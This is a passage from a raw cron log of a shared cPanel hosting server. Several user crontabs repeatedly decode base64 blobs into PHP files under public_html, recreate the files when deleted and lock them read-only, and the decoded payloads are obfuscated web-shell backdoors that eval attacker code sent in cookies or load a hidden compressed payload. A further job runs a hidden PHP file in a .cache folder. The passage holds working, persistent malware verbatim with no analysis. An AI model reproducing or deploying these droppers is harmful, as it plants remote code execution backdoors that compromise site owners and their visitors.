"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:23:01 medusa CROND[1311]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:23:01 medusa CROND[1314]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:23:01 medusa CROND[1313]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:24:01 medusa CROND[25726]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:24:01 medusa CROND[25832]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:24:01 medusa CROND[25833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:24:01 medusa CROND[25838]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:24:01 medusa CROND[25835]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:24:01 medusa CROND[25841]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:24:01 medusa CROND[25842]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:24:01 medusa CROND[25843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:24:01 medusa CROND[25848]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:24:01 medusa CROND[25851]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:24:01 medusa CROND[25852]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:24:01 medusa CROND[25853]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:24:01 medusa CROND[25854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:25:01 medusa CROND[18114]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:25:01 medusa CROND[18221]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:25:01 medusa CROND[18244]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 13:25:01 medusa CROND[18245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:25:01 medusa CROND[18246]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:25:01 medusa CROND[18248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:25:01 medusa CROND[18251]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:25:01 medusa CROND[18249]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:25:01 medusa CROND[18252]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 13:25:01 medusa CROND[18250]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:25:01 medusa CROND[18255]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:25:01 medusa CROND[18258]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:25:01 medusa CROND[18260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:25:01 medusa CROND[18257]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:25:01 medusa CROND[18269]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:25:01 medusa CROND[18270]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:25:01 medusa CROND[18272]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:25:01 medusa CROND[18274]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAk